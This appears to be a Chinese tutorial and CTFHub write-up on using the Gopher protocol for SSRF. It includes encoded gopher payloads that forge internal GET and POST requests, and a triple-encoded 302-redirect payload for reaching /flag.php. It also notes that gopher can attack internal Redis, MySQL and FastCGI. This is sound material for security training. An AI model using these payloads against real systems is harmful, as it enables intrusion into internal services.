Gopher协议
Gopher协议
概述
Gopher是互联网早期的一种协议
在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口
利用gopher协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp 等,也可以发送 GET、POST 请求,这可以拓宽 SSRF 的攻击面
格式
| 1 | gopher://<host>:<port>/<gopher-path>_后接TCP数据流 | 
- gopher的默认端口是70 
- 如果是post请求,回车换行要用到 - %0d%0a(post请求有几个必备请求头)
- 基于post请求,如果有多个参数,也要把 - &进行URL编码(- %26)
Gopher发送HTTP请求
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
GET型
格式
- 构造HTTP数据包 
- URL编码、替换回车换行为%0d%0a 
- 发送gopher协议 
问号(?)需要转码为URL编码,也就是
%3f
回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
示例
源码:
| 1 | 
 | 
请求:
| 1 | GET /ssrf/get.php?name=ikunma | 
构造请求包:
| 1 | gopher://127.0.0.1/_GET /ssrf/get.php?name=ikunma HTTP/1.1 | 
编码(这边是一次,有的要两次)
| 1 | gopher://127.0.0.1:80/_GET%20/ssrf/base/get.php%3fname=ikunma%20HTTP/1.1%0d%0AHost:%20127.0.0.1%0d%0A | 
注:URL 编码中,%0A 和 %0a 实际上是表示相同的字符,即换行符。它们之间的区别在于大小写。在 URL 编码中,字母的大小写通常是不敏感的,因此 %0A 和 %0a 都会被解释为换行符
POST型
格式:
| 1 | POST /ssrf/post.php | 
写包:
| 1 | gopher://127.0.0.1:80/_POST /ssrf/base/post.php HTTP/1.1 | 
url编码(实际操作要两次):
| 1 | gopher://127.0.0.1:80/_POST%20%2Fssrf%2Fbase%2Fpost.php%20HTTP%2F1.1%0D%0AHost%3A127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A11%0D%0A%0D%0Aname%3Dikunma%0D%0A | 
编码次数
传参经过多少次跳转就需要经过多少次url编码
直接curl后接
gopher://就编码一次利用
?url=gopher://就编码两次还经过302跳转,就编码三次。
例题
CTFHub-SSRF系列-POST请求
先本地访问
| 1 | ?url=127.0.0.1/flag.php | 
源码:
| 1 | <form action="/flag.php" method="post"> | 
再访问一下302.php
| 1 | /302.php | 
源码:
| 1 | <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> | 
这里通过302.php的跳转来实现gopher协议伪造
将
| 1 | 127.0.0.1/302.php?url=gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1 | 
url编码3次
| 1 | 127.0.0.1%252F302.php%253Furl%253Dgopher%253A%252F%252F127.0.0.1%253A80%252F_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253Da1fd25f0d3ac467c1368019781a49713 | 
接在?url=之后
